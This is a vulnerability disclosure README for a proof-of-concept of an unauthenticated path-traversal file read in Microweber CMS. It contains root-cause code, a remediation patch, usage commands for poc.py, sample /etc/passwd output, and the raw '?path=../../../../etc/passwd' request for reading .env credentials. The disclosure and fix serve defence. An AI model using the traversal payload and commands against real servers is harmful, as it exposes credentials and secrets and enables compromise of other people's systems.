CVE-2026-65694 — Microweber CMS Unauthenticated Arbitrary File Read

Proof-of-concept for CVE-2026-65694, an unauthenticated path-traversal → arbitrary file read in Microweber CMS.

An unauthenticated attacker can read any file the web-server user can access — the Laravel .env (APP_KEY, DB credentials, mail/cloud secrets), /etc/passwd, logs, keys, non-.php configuration, etc. — via the public GET /userfiles/{path} route.

• CVE: CVE-2026-65694
• Type: Path Traversal → Unauthenticated Arbitrary File Read (CWE-22 / CWE-23)
• Severity: High — CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
• Affected: Microweber ≤ 2.0.20 and current master (vulnerable line still present)
• Authentication: None

Root cause

src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php

public function serveFromUserfiles(Request $request)
{
    $path = $request->path;                                   // <-- property read, NOT $request->path()
    $path = normalize_path(userfiles_path() . $path, false);  // <-- normalize_path() does NOT strip ".."
    return $this->sendResponse($path, $request);
}

The route is registered unauthenticated:

Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');

Two problems combine:

1. Input override. $request->path (property access, not the $request->path() method) resolves through Laravel's Request::__get → Arr::get($this->all(), 'path', fn() => $this->route('path')). So a ?path= query parameter overrides the {path} route segment — and query values are not subject to the URL-path .. normalization a browser/server applies.
2. No canonicalization. normalize_path() only collapses slashes; it never strips or resolves .., and there is no check that the resolved path stays inside userfiles_path(). PHP's file layer then resolves the .. sequences on the filesystem.

The controller blocks only the .php, .phtml, and .php7 extensions (skip_ext), so PHP source is not directly readable — but everything else is (.env, /etc/passwd, logs, keys, SQLite DBs, JSON/YAML config, …).

Requirements

pip install -r requirements.txt

Reachable on any deployment that uses the recommended public/ document root (Microweber's shipped public/.htaccess, or an nginx try_files $uri /index.php front controller), where userfiles/ lives outside the web root and /userfiles/* is dispatched to the Laravel router.

Usage

Three actions:

python3 poc.py -u http://TARGET --check                 # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd          # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env                 # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt   # download a file to disk

Flag	Action
--check	Report whether the target is vulnerable (yes/no), without dumping data
-r, --read FILE	Read a file and print it to stdout
-d, --download FILE	Read a file and save it locally (-o/--output sets the name)

Traversal depth is auto-detected (increasing ../ until the file is served); override with --depth N. Route through Burp with --proxy http://127.0.0.1:8080. Add -v for the raw request.

Example

$ python3 poc.py -u http://target:8080 --check

  Microweber CMS  -  Unauthenticated Arbitrary File Read
  CVE-2026-65694   ( GET /userfiles/ ?path= traversal )
  by Bobur Abdugafforov

[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)

$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)

The underlying request is simply:

GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target

Impact

Unauthenticated arbitrary file read. Leaking the Laravel .env yields the APP_KEY (session/cookie forgery), database credentials, mail password, and cloud keys — effectively full compromise of the instance's secrets.

Remediation

Read the bound route parameter instead of the input property, canonicalize with realpath(), and verify the resolved path stays inside userfiles_path():

public function serveFromUserfiles(Request $request)
{
    $requested = (string) $request->route('path');
    $base = realpath(userfiles_path());
    $path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
    abort_if($base === false || $path === false
        || strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
    return $this->sendResponse($path, $request);
}

Credit

Discovered and reported by Bobur Abdugafforov. CVE-2026-65694 assigned via VulnCheck.

Disclaimer

For authorized security testing and educational use only. Do not use against systems you do not own or have explicit permission to test.